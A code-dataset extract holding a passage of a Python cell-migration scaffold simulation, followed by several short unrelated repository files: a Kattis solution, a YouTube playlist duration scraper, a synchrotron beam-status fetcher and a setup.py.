(Pa).\"\"\"\r\n return self.__scaffold_stiffness\r\n\r\n def get_time(self):\r\n \"\"\"Returns the total time elapsed in the scaffold\"\"\"\r\n return self.__time\r\n\r\n # --------------------------------------------------------------------------\r\n # Private Class Methods\r\n # --------------------------------------------------------------------------\r\n def __generate_pore_scaffold_properties(self, dimension, porosity, pore_diameter, packing_density, cell_diameter):\r\n \"\"\"Calculates scaffold properties related to the number of pores, pore distribution, and pore cell capacity\r\n\r\n :param dimension: side dimension of cubical scaffold (µm).\r\n :param porosity: empty or void volume fraction of the scaffold (%).\r\n :param pore_diameter: fraction of void or empty volume within the scaffold that can be occupied by cells (%).\r\n :param packing_density: fraction of void or empty volume within the scaffold that can be occupied by cells (%).\r\n :param cell_diameter: diameter of cells occupying scaffold (µm).\r\n :return: distribution of pores for the X, Y, and Z side dimensions, number of pores, maximum cells per\r\n pore cluster, maximum cells in scaffold, pores per cluster.\r\n \"\"\"\r\n # --------------------------------------------------------------------------\r\n # Calculates volume that is available to pores\r\n # --------------------------------------------------------------------------\r\n scaffold_volume = dimension**3 # Scaffold volume, assuming cube (µm^3)\r\n scaffold_porous_volume = porosity * scaffold_volume # Amount of void volume in scaffold (µm^3)\r\n pore_volume = 4/3*m.pi*(pore_diameter/2)**3 # Pore volume, assuming spherical (µm^3)\r\n\r\n # --------------------------------------------------------------------------\r\n # Calculates the number of pores based on the pore volume available\r\n # --------------------------------------------------------------------------\r\n pore_number = m.floor(scaffold_porous_volume/pore_volume) # Calculates number of pores possible in scaffold\r\n pores_per_side = m.floor(pore_number ** (1/3)) # Re-calculates an appropriate number of pores\r\n # per side such that the scaffold is cubical\r\n pore_number = pores_per_side**3 # Re-calculates new pore number to maintain\r\n # a cubical scaffold\r\n\r\n # --------------------------------------------------------------------------\r\n # Create side-length array\r\n # --------------------------------------------------------------------------\r\n pore_array = \\\r\n np.linspace(0, dimension,\r\n num=int(pores_per_side).tolist()) # Creates an array that represents\r\n # the positions of clusters along\r\n # one side-length of the scaffold.\r\n\r\n # Calculates the maximum cells in the scaffold and maximum cells in a single pore\r\n cell_volume = 4/3*np.pi*(cell_diameter/2)**3 # Calculates the volume of a cell in the scaffold\r\n # assuming spherical (µm^3)\r\n occupied_pore_volume = \\\r\n packing_density*pore_volume # Amount of volume in the pore that can be\r\n # occupied by cells based on a packing density (µm^3)\r\n pore_cell_max = \\\r\n m.floor(occupied_pore_volume / cell_volume) # Maximum number of cells per pore cluster\r\n max_cells = pore_cell_max * pore_number # Maximum number of cells that can occupy the scaffold\r\n\r\n # Returns scaffold characteristics\r\n return pore_array, pore_number, pore_cell_max, pore_number, max_cells\r\n\r\n def __generate_cluster_scaffold_properties(self, dimension, porosity, pore_diameter, packing_density, cell_diameter,\r\n pore_cluster_count):\r\n \"\"\"Calculates scaffold properties related to the number of pores, pore distribution, and pore cell capacity\r\n\r\n :param dimension: side dimension of cubical scaffold (µm).\r\n :param porosity: empty or void volume fraction of the scaffold (%).\r\n :param pore_diameter: fraction of void or empty volume within the scaffold that can be occupied by cells (%).\r\n :param packing_density: fraction of void or empty volume within the scaffold that can be occupied by cells (%).\r\n :param cell_diameter: diameter of cells occupying scaffold (µm).\r\n :param pore_cluster_count: number of clusters that define all pores within the scaffold.\r\n :return: distribution of pores for the X, Y, and Z side dimensions, number of pores, maximum cells per\r\n pore cluster, maximum cells in scaffold, pores per cluster.\r\n \"\"\"\r\n # --------------------------------------------------------------------------\r\n # Calculates volume that is available to pores\r\n # --------------------------------------------------------------------------\r\n scaffold_volume = dimension**3 # Scaffold volume, assuming cube (µm^3)\r\n scaffold_porous_volume = porosity * scaffold_volume # Amount of void volume in scaffold (µm^3)\r\n pore_volume = 4/3*m.pi*(pore_diameter/2)**3 # Pore volume, assuming spherical (µm^3)\r\n\r\n # --------------------------------------------------------------------------\r\n # Calculates the number of pores based on the pore volume available\r\n # --------------------------------------------------------------------------\r\n pore_number = m.floor(scaffold_porous_volume/pore_volume) # Calculates number of pores possible in scaffold\r\n pores_per_side = m.floor(pore_number ** (1/3)) # Re-calculates an appropriate number of pores\r\n # per side such that the scaffold is cubical\r\n pore_number = pores_per_side**3 # Re-calculates new pore number to maintain\r\n # a cubical scaffold\r\n pores_per_cluster = \\\r\n m.floor(pore_number/pore_cluster_count) # Calculate the number of pores contained\r\n # in a single pore cluster\r\n\r\n # --------------------------------------------------------------------------\r\n # Create side-length array\r\n # --------------------------------------------------------------------------\r\n cluster_array = \\\r\n np.linspace(0, dimension,\r\n num=int(pore_cluster_count**(1/3))).tolist() # Creates an array that represents\r\n # the positions of clusters along\r\n # one side-length of the scaffold.\r\n\r\n # Calculates the maximum cells in the scaffold and maximum cells in a single pore\r\n cell_volume = 4/3*np.pi*(cell_diameter/2)**3 # Calculates the volume of cells in the scaffold\r\n # (assuming spherical) (µm^3)\r\n occupied_cluster_volume = \\\r\n packing_density*pore_volume*pores_per_cluster # Amount of volume in the pore that can be\r\n # occupied by cells based on a packing density (µm^3)\r\n cluster_cell_max = \\\r\n m.floor(occupied_cluster_volume/cell_volume) # Maximum number of cells per pore cluster\r\n max_cells = cluster_cell_max * pore_cluster_count # Maximum number of cells that can occupy the scaffold\r\n\r\n # Returns scaffold characteristics\r\n return cluster_array, pore_number, cluster_cell_max, max_cells, pores_per_cluster\r\n\r\n\r\n def __assign_positions(self, array_size):\r\n \"\"\"Assigns each of the clusters in the scaffold to their respective locations.\r\n\r\n :param array_size:An array that represents the coordinates of each pore cluster along a scaffold side length\r\n \"\"\"\r\n p_x = 0\r\n p_y = 0\r\n p_z = 0\r\n while p_z < array_size:\r\n while p_y < array_size:\r\n while p_x < array_size:\r\n self.scaffold[p_x][p_y][p_z].position = [p_x, p_y, p_z]\r\n p_x += 1\r\n p_x = 0\r\n p_y += 1\r\n p_y = 0\r\n p_z += 1\r\n\r\n# --------------------------------------------------------------------------\r\n# Seeding Methods\r\n# --------------------------------------------------------------------------\r\n def seed_cells_randomly(self, seeded_cell_count, data, seeded_time):\r\n \"\"\"Randomly seed a specified number of cells throughout all pores in the scaffold.\"\"\"\r\n\r\n # Throw if attempting to seed more cells than allowed in the scaffold\r\n if (seeded_cell_count > self.scaffold_cell_max):\r\n raise RuntimeError(\"The number of cells you are trying to seed cannot be larger than the maximum cell capacity of the scaffold.\")\r\n\r\n # Generate seeded cell objects\r\n self.cell_objs = [self.Cell(self.cell_diameter, 0) for i in range(seeded_cell_count)]\r\n\r\n end_point = len(self.cluster_array) - 1\r\n for cell in self.cell_objs:\r\n # Assign a unique ID for each seeded cell\r\n cell.ID = self.cell_ID_counter\r\n self.cell_ID_counter += 1\r\n self.cell_count += 1\r\n\r\n # Random seed cells by generating random positions, writes its properties to the data list\r\n while True:\r\n new_position = [r.randint(0, end_point), r.randint(0, end_point), r.randint(0, end_point)]\r\n pore_destination = self.scaffold[new_position[0]][new_position[1]][new_position[2]]\r\n if (not pore_destination.is_full()):\r\n cell.position = new_position\r\n pore_destination.cell_number += 1\r\n break\r\n\r\n # Write cell data\r\n data.append(cell.write_data(self.cluster_array, seeded_time))\r\n\r\n\r\n def seed_cells_at_top(self, seeded_cell_count, data, seeded_time):\r\n \"\"\"Seeds cells at the center of the top layer of the scaffold\"\"\"\r\n # Generate seeded cell objects\r\n self.cell_objs = [self.Cell(self.cell_diameter, 0) for i in range(seeded_cell_count)]\r\n\r\n end_point = len(self.cluster_array) - 1\r\n for cell in self.cell_objs:\r\n # Assign a unique ID for each seeded cell\r\n cell.ID = self.cell_ID_counter\r\n self.cell_ID_counter += 1\r\n self.cell_count += 1\r\n\r\n # Random seed cells by generating random positions, writes its properties to the data list\r\n while True:\r\n new_position = [r.randint(int(end_point/2), int(end_point - end_point/2)), r.randint(int(end_point/2), int(end_point - end_point/2)), r.randint(int(end_point/2), int(end_point - end_point/2))]\r\n pore_destination = self.scaffold[new_position[0]][new_position[1]][new_position[2]]\r\n if (not pore_destination.is_full()):\r\n cell.position = new_position\r\n pore_destination.cell_number += 1\r\n break\r\n\r\n\r\n# --------------------------------------------------------------------------\r\n# Public Methods\r\n# --------------------------------------------------------------------------\r\n def scaffold_migration_replication(self, data, ts, tf, rf, rep_rate):\r\n \"\"\"Performs a migration and replication cycle on all cells in the scaffold at a specified replication rate.\r\n\r\n :param data: data list to write cell data to\r\n :param ts:\r\n :param tf:\r\n :param rf:\r\n :param rep_rate:\r\n \"\"\"\r\n # Ensure unbiased cellular migration and replication\r\n r.shuffle(self.cell_objs)\r\n\r\n # Migration and replication of parent and daughter cells\r\n for cell in self.cell_objs:\r\n\r\n # Neighbor capacity checks whether neighboring pores in regards to the pore the cell is in are full. X, Y, and Z in both positive and negative direction are accounted by conditions 1-6\r\n # while the pore's capacity, in which the current cell is in, is accounted by condition 7\r\n neighbor_capacity = self.__neighbor_conditional_check(cell)[:]\r\n\r\n # If all pores, including the pore the cell is in, are full then no movement and no replication occurs. Only recording of relevant cell properties to the data array is performed.\r\n if (neighbor_capacity[0] and neighbor_capacity[1] and neighbor_capacity[2] and neighbor_capacity[3] and neighbor_capacity[4] and neighbor_capacity[5] and neighbor_capacity[6]) == True:\r\n # Writes cell properties to data list\r\n if (t % rf == 0 or t == tf):\r\n data.append(cell.write_data(self.cluster_array, t))\r\n else:\r\n if (neighbor_capacity[0] and neighbor_capacity[1] and neighbor_capacity[2] and neighbor_capacity[3] and neighbor_capacity[4] and neighbor_capacity[5]) == True:\r\n rp = 0\r\n if rep_rate != 0:\r\n if round(1/rep_rate) == 1:\r\n rp = 1\r\n else:\r\n rp = r.randint(1, round(1/rep_rate))\r\n if rp != 1:\r\n if (t % rf == 0 or t == tf):\r\n data.append(cell.write_data(self.cluster_array, t))\r\n # Replication of cell occurs if replication condition is achieved\r\n else:\r\n new_daughter_cell = self.__new_daughter_cell(cell, t)\r\n\r\n # New cell with an identical pore location to its parent is added to the list of cell objects\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number += 1\r\n self.cell_objs.append(new_daughter_cell)\r\n\r\n # Update cell count and cell ID counter\r\n self.cell_ID_counter += 1\r\n self.cell_count += 1\r\n\r\n # Writes cell properties to data list\r\n if (t % rf == 0 or t == tf):\r\n data.append(cell.write_data(self.cluster_array, t))\r\n data.append(new_daughter_cell.write_data(self.cluster_array, t))\r\n else:\r\n # Perform migration on parent cell\r\n self.__perform_migration(cell, neighbor_capacity, ts, False)\r\n\r\n # Perform replication which is dependent on the replication probability\r\n rp = 0\r\n if rep_rate != 0:\r\n if round(1/rep_rate) == 1:\r\n rp = 1\r\n else:\r\n rp = r.randint(1, round(1/rep_rate))\r\n if rp != 1:\r\n if (t % rf == 0 or t == tf):\r\n data.append(cell.write_data(self.cluster_array, t))\r\n else:\r\n # Generate a new daughter cell and perform migration on it\r\n new_daughter_cell = self.__new_daughter_cell(cell, t)\r\n daughter_neighbor_conditions = self.__neighbor_conditional_check(new_daughter_cell)\r\n self.__perform_migration(new_daughter_cell, daughter_neighbor_conditions, ts, True)\r\n\r\n # Replicated cell must migrate to exist\r\n if new_daughter_cell.moves_made != 0:\r\n self.cell_objs.append(new_daughter_cell)\r\n\r\n # Update cell count and cell ID counter\r\n self.cell_ID_counter += 1\r\n self.cell_count += 1\r\n\r\n # Writes cell properties to data list\r\n if (t % rf == 0 or t == tf):\r\n data.append(cell.write_data(self.cluster_array, t))\r\n if new_daughter_cell.moves_made != 0:\r\n data.append(new_daughter_cell.write_data(self.cluster_array, t))\r\n\r\n\r\n def __perform_migration(self, cell, neighbor_capacity, ts, is_new_daughter_cell):\r\n \"\"\"Performs cell migration on the specified cell\"\"\"\r\n # --------------------------------------------------------------------------\r\n # Choose a random direction for migration\r\n # --------------------------------------------------------------------------\r\n migration_direction = None\r\n # Ensure direction is not full or out of bounds\r\n while True:\r\n migration_direction = r.randint(1,6)\r\n if (neighbor_capacity[0] == True and migration_direction == 1):\r\n continue\r\n elif (neighbor_capacity[1] == True and migration_direction == 2):\r\n continue\r\n elif (neighbor_capacity[2] == True and migration_direction == 3):\r\n continue\r\n elif (neighbor_capacity[3] == True and migration_direction == 4):\r\n continue\r\n elif (neighbor_capacity[4] == True and migration_direction == 5):\r\n continue\r\n elif (neighbor_capacity[5] == True and migration_direction == 6):\r\n continue\r\n else:\r\n break\r\n\r\n # --------------------------------------------------------------------------\r\n # Calculate probability to migrate in chosen direction\r\n # --------------------------------------------------------------------------\r\n # Calculate distance \r\n f_trac, cell_velocity = self.__calculate_cell_velocity(cell, migration_direction) # Cell velocity in chosen direction (µm/s)\r\n distance_between_clusters = self.cluster_array[1] - self.cluster_array[0] # Distance between neighboring pores (equidistant)\r\n cell_distance_traveled = cell_velocity * ts * 3600 # Distance cell can travel (µm)\r\n\r\n # Calculate probability to migrate as a ratio between distance cell can travel and distance between pores\r\n probability_of_migration = cell_distance_traveled/distance_between_clusters * 100 # Probability of migration (%)\r\n\r\n # --------------------------------------------------------------------------\r\n # Cell Migration\r\n # --------------------------------------------------------------------------\r\n # Generates a number between 1 and 100 to determine if cell will migrate\r\n random_migration_number = r.randint(0, 100000)/1000\r\n\r\n # Migrate in chosen direction based on migration probability\r\n if probability_of_migration > random_migration_number:\r\n # Update cell's traction force\r\n cell.f_trac = f_trac\r\n\r\n # Update number of moves made\r\n cell.moves_made += 1\r\n\r\n if migration_direction == 1:\r\n # X > 0\r\n if not is_new_daughter_cell:\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number -= 1\r\n cell.position[0] += 1\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number += 1\r\n elif migration_direction == 2:\r\n # X < 0\r\n if not is_new_daughter_cell:\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number -= 1\r\n cell.position[0] -= 1\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number += 1\r\n elif migration_direction == 3:\r\n # Y > 0\r\n if not is_new_daughter_cell:\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number -= 1\r\n cell.position[1] += 1\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number += 1\r\n elif migration_direction == 4:\r\n # Y < 0\r\n if not is_new_daughter_cell:\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number -= 1\r\n cell.position[1] -= 1\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number += 1\r\n elif migration_direction == 5:\r\n # Z > 0\r\n if not is_new_daughter_cell:\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number -= 1\r\n cell.position[2] += 1\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number += 1\r\n elif migration_direction == 6:\r\n # Z < 0\r\n if not is_new_daughter_cell:\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number -= 1\r\n cell.position[2] -= 1\r\n self.scaffold[cell.position[0]][cell.position[1]][cell.position[2]].cell_number += 1\r\n\r\n\r\n def __calculate_cell_velocity(self, cell, migration_direction):\r\n \"\"\"Calculates the cell velocity (speed) towards one of six non-full neighboring pores. Returns the cell velocity.\"\"\"\r\n\r\n # Calculate area and generate a normally distributed integrin and ligand distance\r\n integrin_ligand_separation = np.random.normal(0.04, 0.001, None)\r\n equilibrium_distance = 0.025\r\n area = np.pi * (0.06)**2\r\n\r\n\r\n stiffness_to_use = self.scaffold_stiffness\r\n if self.scaffold_stiffness >= 1E6:\r\n stiffness_to_use = 1E3\r\n\r\n # Calculate spring constant\r\n k = stiffness_to_use * (area/equilibrium_distance)\r\n\r\n # Calculate force\r\n force = k * (integrin_ligand_separation - equilibrium_distance)\r\n\r\n # Calculate Tau\r\n tau = 1/(2.5*np.exp(-0.014 * 6.8 * force) + (0.5*10**(-5)) * np.exp(0.3 *0.96 * force))\r\n\r\n # --------------------------------------------------------------------------\r\n # Ligand Number\r\n # --------------------------------------------------------------------------\r\n # Calculate ligand number based on the pore the cell plans to migrate to\r\n x_increment = 0\r\n y_increment = 0\r\n z_increment = 0\r\n\r\n if migration_direction == 1:\r\n x_increment += 1\r\n elif migration_direction == 2:\r\n x_increment -= 1\r\n elif migration_direction == 3:\r\n y_increment += 1\r\n elif migration_direction == 4:\r\n y_increment -= 1\r\n elif migration_direction == 5:\r\n z_increment += 1\r\n elif migration_direction == 6:\r\n z_increment -= 1\r\n\r\n\r\n # Calculate available surface area in a given pore based on the current capacity of the pore\r\n available_area = 0\r\n next_pore = self.scaffold[cell.position[0] + x_increment][cell.position[1] + y_increment][cell.position[2] + z_increment]\r\n if next_pore.surface_area < 1E3 * next_pore.calculate_cell_adhesion_area(self.cell_diameter):\r\n available_area = next_pore.surface_area/(1E3 * next_pore.calculate_cell_adhesion_area(self.cell_diameter))\r\n else:\r\n available_area = 1\r\n\r\n # Calculate ligand max and ligand number\r\n ligand_max = available_area*(np.pi*(self.cell_diameter/2)**2 - np.pi*(self.cell_diameter/2 - 8) ** 2) * 500\r\n ligand_num = self.ligand_factor*ligand_max*tau/(1E6)\r\n\r\n # --------------------------------------------------------------------------\r\n # Calculate velocity\r\n # --------------------------------------------------------------------------\r\n c1 = 0.001 # TODO\r\n n = 55 # Viscosity (Pa-s)\r\n c = 6 * np.pi * self.cell_diameter/2 # Constant, dependent on cell shape (µm)\r\n\r\n f_traction = c1 * stiffness_to_use * ligand_num\r\n\r\n return f_traction, 0.005#(f_traction/(c * n)) # Cell velocity to planned pore to migrate to (µm/s)\r\n\r\n\r\n def __neighbor_conditional_check(self, cell_to_check):\r\n \"\"\"Checks whether the cell's current pore's neighboring cells are full. Returns a list of booleans indicating which pores are full.\"\"\"\r\n\r\n # Generate cell conditions\r\n neighbor_conditions = [False, False, False, False, False, False, False]\r\n\r\n # Evaluate neighbor cell conditions as well as boundary conditions\r\n boundary_index = len(self.cluster_array) - 1\r\n if (cell_to_check.position[0] + 1) > boundary_index:\r\n neighbor_conditions[0] = True\r\n else:\r\n neighbor_conditions[0] = self.scaffold[cell_to_check.position[0] + 1][cell_to_check.position[1]][cell_to_check.position[2]].is_full()\r\n\r\n if (cell_to_check.position[0] - 1) < 0:\r\n neighbor_conditions[1] = True\r\n else:\r\n neighbor_conditions[1] = self.scaffold[cell_to_check.position[0] - 1][cell_to_check.position[1]][cell_to_check.position[2]].is_full()\r\n\r\n if (cell_to_check.position[1] + 1) > boundary_index:\r\n neighbor_conditions[2] = True\r\n else:\r\n neighbor_conditions[2] = self.scaffold[cell_to_check.position[0]][cell_to_check.position[1] + 1][cell_to_check.position[2]].is_full()\r\n\r\n if (cell_to_check.position[1] - 1) < 0:\r\n neighbor_conditions[3] = True\r\n else:\r\n neighbor_conditions[3] = self.scaffold[cell_to_check.position[0]][cell_to_check.position[1] - 1][cell_to_check.position[2]].is_full()\r\n\r\n if (cell_to_check.position[2] + 1) > boundary_index:\r\n neighbor_conditions[4] = True\r\n else:\r\n neighbor_conditions[4] = self.scaffold[cell_to_check.position[0]][cell_to_check.position[1]][cell_to_check.position[2] + 1].is_full()\r\n\r\n if (cell_to_check.position[2] - 1) < 0:\r\n neighbor_conditions[5] = True\r\n else:\r\n neighbor_conditions[5] = self.scaffold[cell_to_check.position[0]][cell_to_check.position[1]][cell_to_check.position[2] - 1].is_full()\r\n neighbor_conditions[6] = self.scaffold[cell_to_check.position[0]][cell_to_check.position[1]][cell_to_check.position[2]].is_full()\r\n\r\n return neighbor_conditions\r\n\r\n\r\n def __new_daughter_cell(self, parent_cell, time_in):\r\n \"\"\"Generate a new daughter cell based on the parent cell. Returns the new daughter cell object\"\"\"\r\n\r\n daughter_cell = self.Cell(parent_cell.cell_diameter, time_in)\r\n daughter_cell.position = parent_cell.position[:]\r\n daughter_cell.ID = self.cell_ID_counter\r\n daughter_cell.generation = parent_cell.generation + 1\r\n\r\n return daughter_cell\r\n\r\n\r\n class Pore:\r\n def __init__(self, position, cell_number, max_cells, pore_diameter):\r\n \"\"\"Four parameter pore constructor that takes in its position in the scaffold, the number of cells currently occupying the cell, the maximum\r\n cells it can hold, and its pore diameter.\"\"\"\r\n\r\n self.position = position # Position of pore within scaffold\r\n self.cell_number = cell_number # Number of cells currently occupying pore\r\n self.max_cells = max_cells # Max number of cells that can occupy the pore\r\n self.surface_area = 4 * np.pi * (pore_diameter/2)**2 # Calculates the surface area of the pore (assuming spherical pores)\r\n\r\n\r\n def is_full(self):\r\n \"\"\"Checks whether the pore is currently full. Returns true if it is.\"\"\"\r\n\r\n return self.cell_number >= self.max_cells\r\n\r\n\r\n def calculate_cell_adhesion_area(self, cell_diameter):\r\n \"\"\"Calculates the current area of the pore taken up by cells\"\"\"\r\n\r\n return self.cell_number * np.pi * (cell_diameter/2) ** 2\r\n\r\n class Pore_cluster:\r\n def __init__(self, position, cell_number, max_cells, pore_diameter, pores_per_cluster):\r\n \"\"\"Four parameter constructor representing a cluster of pores in the scaffold.\"\"\"\r\n\r\n self.position = position # Position of pore within scaffold\r\n self.cell_number = cell_number # Number of cells currently occupying pore\r\n self.max_cells = max_cells # Max number of cells that can occupy the pore\r\n self.surface_area = 4 * np.pi * (pore_diameter/2)**2 * pores_per_cluster # Calculates the total surface area of the pore cluster (assuming spherical pores)\r\n\r\n\r\n def is_full(self):\r\n \"\"\"Checks whether the pore cluster is currently full. Returns true if it is.\"\"\"\r\n\r\n return self.cell_number >= self.max_cells\r\n\r\n\r\n def calculate_cell_adhesion_area(self, cell_diameter):\r\n \"\"\"Calculates the current area of the pore cluster taken up by cells\"\"\"\r\n\r\n return self.cell_number * np.pi * (cell_diameter/2) ** 2\r\n\r\n\r\n\r\n class Cell:\r\n def __init__(self, cell_diameter, time):\r\n \"\"\"Two parameter cell constructor that takes in the cell's diameter and its time of entry into the simulation.\"\"\"\r\n\r\n self.position = [0, 0, 0]\r\n self.ID = 0\r\n self.generation = 1\r\n self.moves_made = 0\r\n self.time = time\r\n self.cell_diameter = cell_diameter\r\n self.f_trac = 0\r\n\r\n\r\n # Generates data row regarding relevant cell parameters\r\n def write_data(self, cluster_array, current_time):\r\n \"\"\"Returns a data array detailing various properties of the cell including the current simulation time, its unique cell ID, the number of moves it has made,\r\n the force of traction, and its X, Y, and Z position in the scaffold.\"\"\"\r\n # return [current_time, self.ID, self.generation, self.moves_made, self.f_trac, self.position[0], self.position[1], self.position[2]]\r\n return [current_time, self.ID, self.generation, self.moves_made, self.f_trac, round(cluster_array[self.position[0]], 3), round(cluster_array[self.position[1]], 3), round(cluster_array[self.position[2]], 3)]","repo_name":"SamHCam/cell_scaffold_simulation","sub_path":"scaffold.py","file_name":"scaffold.py","file_ext":"py","file_size_in_byte":40663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"44061181884","text":"from math import pow\n\nfor _ in range(int(input())):\n k, f = input().split(\" \")\n p, q = [int(i) for i in f.split((\"/\"))]\n\n if p < q:\n q -= p\n p += q\n else:\n p0 = p\n p = q\n q = q - p0 + 2 * (p0 // q) * q\n \n print(f\"{k} {p}/{q}\")\n","repo_name":"leslieyip02/kattis","sub_path":"completed/arationalsequence.py","file_name":"arationalsequence.py","file_ext":"py","file_size_in_byte":280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"17862225537","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef play(url):\n\n\t\tsource_code = requests.get(url) # source code of page\n\t\tplain_text = source_code.text\n\t\tsoup = BeautifulSoup(plain_text , \"html.parser\")\n\t\tsoup.encode('UTF-8')\n\t\th , m , s = 0 , 0 , 0;\n\t\tcount = 0\n\t\tfor link in soup.findAll('div' , {'class' : 'timestamp'} ): \n \n\t\t\tcount+=1\n\t\t\ttime = link.string.split(':')\n\t\t\tif len(time)==3:\n\t\t\t\th+= int(time[0])\n\t\t\t\tm+= int(time[1])\n\t\t\t\ts+=int(time[2])\n\t\t\telse:\n\t\t\t\tm+= int(time[0])\n\t\t\t\ts+= int(time[1])\n\n\t\tts = h*60*60 + m*60 + s\n\t\tm, s = divmod(ts, 60)\n\t\th, m = divmod(m, 60)\n\t\td, h = divmod(h ,24)\n\n\t\tprint(\"Total Videos : \" , count)\n\t\tprint(d , \"Days\" , h , \"Hours\" , m , \"Minutes\" , s , \"Seconds\")\n\n\nif __name__ == \"__main__\":\n\t\n\t'''\n\turl example : 'https://www.youtube.com/playlist?list=PLEsfXFp6DpzQFqfCur9CJ4QnKQTVXUsRy'\n\t'''\n\n\turl = input(\"Enter Url: \")\n\tplay(url)\n\n\n","repo_name":"nishant-mor/YouTube-Playlist-Time","sub_path":"playlist.py","file_name":"playlist.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"20616677939","text":"from re import T\nimport time, random, sys, os, math, datetime, traceback\nimport requests,socket,struct\nfrom bs4 import BeautifulSoup\n\ndef createPath(file_path):\n \"\"\"\n create a given path if not exist and return it\n :param file_path:\n :return: file_path\n \"\"\"\n if os.path.exists(file_path) is False:\n os.makedirs(file_path)\n return file_path\n\ndef get_host_ip():\n \"\"\"\n 查询本机ip地址\n :return:\n \"\"\"\n try:\n s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\n s.connect(('8.8.8.8',80))\n ip=s.getsockname()[0]\n finally:\n s.close()\n \n return ip\n\n\ndef download_url(url, num_retries=5):\n \"\"\"\n download url\n :param url:\n :param num_retries:\n :return: html in text\n \"\"\"\n headers = {'User-Agent': 'SSRF_test', 'Connection': 'close'}\n try:\n with requests.Session() as s:\n resp = s.get(url, headers=headers, proxies=None, timeout=10)\n html = resp.text\n s.close()\n if resp.status_code >= 400:\n print('Download error:', resp.text)\n html = None\n if num_retries and 500 <= resp.status_code < 600:\n # recursively retry 5xx HTTP errors\n return download_url(url, num_retries - 1)\n except requests.exceptions.RequestException as e:\n print('Download error:', e)\n html = None\n return html\n\ndef get_datetime():\n \"\"\" get current date time, as accurate as milliseconds\n\n Args: None\n\n Returns:\n str type '%Y-%m-%d %H:%M:%S.%f'\n eg: \"2018-10-01 00:32:39.993176\"\n\n \"\"\"\n timestamp = time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime())\n return str(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S.%f'))\n\ndef SSRFBeamStatus(SSRF_http='http://159.226.222.249/ssrf/beam/'):\n \"\"\" get the SSRF Beam Status by internet\n\n Args:\n http_address (str, optional): Defaults to 'http://159.226.222.249/ssrf/beam/'.\n\n Returns:\n current,beam_status(str,dict): beam current and all info in dict format\n \n return ('error',{}) if connection failed\n \"\"\"\n SSRF_http='http://159.226.222.249/ssrf/beam/'\n beam_html = download_url(SSRF_http, num_retries=5)\n if beam_html:\n soup = BeautifulSoup(beam_html, 'html.parser')\n # title = soup.title.text\n text_info = soup.text.split('\\n')\n text_info = [t for t in text_info if t != '']\n # find the current and other information\n Current = text_info[text_info.index('Current:') + 1]\n try: \n float(Current.split('mA')[0]),2\n except Exception as e:\n error_info = traceback.format_exc() + str(e) + '\\n'\n print(error_info)\n Current_num=0.0\n else:\n Current_num=round(float(Current.split('mA')[0]),2)\n #print('Current:' + Current)\n Operation_info = text_info[text_info.index('Orbit(rms)x/y:') + 2]\n #print(Operation_info)\n [plan, light] = [Operation_info.split('light:')[0].split(':')[-1], Operation_info.split('light:')[-1]]\n #print([plan, light])\n # full beam_info\n beam_status={}\n beam_status['Operator']=Operation_info.split('shift plan:')[0].split(':')[-1]\n beam_status['Light']=light\n beam_status['ShiftPlan']=plan\n for idx in range(2,24):\n if idx%2==1:\n name=text_info[idx].split(':')[0]\n beam_status[name]=text_info[idx+1]\n beam_status['Current']=f'{Current_num}mA'\n else:\n Current_num,beam_status = 0.0,dict()\n return Current_num,beam_status\n\nif __name__ == '__main__':\n SSRF_http='http://159.226.222.249/ssrf/beam/'\n current,beam_info = SSRFBeamStatus(SSRF_http)\n print(current,beam_info)\n print(f'Current: {beam_info[\"Current\"]},\\nPlan: {beam_info[\"ShiftPlan\"]},\\nLight: {beam_info[\"Light\"]}')\n # print(beam_info)\n # print(f'IP:{get_host_ip()}')","repo_name":"zlmturnout/PlotPVs","sub_path":"Architect/Tools_funcs.py","file_name":"Tools_funcs.py","file_ext":"py","file_size_in_byte":3948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"3930554076","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nSetup file for application installation.\n\"\"\"\nfrom setuptools import (\n find_packages,\n setup,\n)\n\n\n#\n# Configuration\n#\n\nPACKAGES = [\n 'app',\n 'app.*',\n]\n\nPYTHON_REQUIRES = \">=3.8\"\n\nREQUIRES = [\n \"click\",\n \"email-validator\",\n \"emails\",\n \"fastapi\",\n \"orjson\",\n \"passlib[bcrypt]\",\n \"pydantic\",\n \"python-jose[cryptography]\",\n \"python-multipart\",\n \"sqlalchemy\",\n \"tenacity\",\n \"uvicorn\",\n]\n\nEXTRAS_REQUIRE = {\n \"postgres\": [\"psycopg2-binary\"],\n}\n\nENTRY_POINTS = {\n \"console_scripts\": [\n \"app=app.cli.core:main\",\n ]\n}\n\n\n#\n# Setup\n#\n\nsetup(\n name='app',\n packages=find_packages(include=PACKAGES),\n python_requires=PYTHON_REQUIRES,\n install_requires=REQUIRES,\n extras_require=EXTRAS_REQUIRE,\n entry_points=ENTRY_POINTS,\n test_suite=\"tests\",\n include_package_data=True,\n 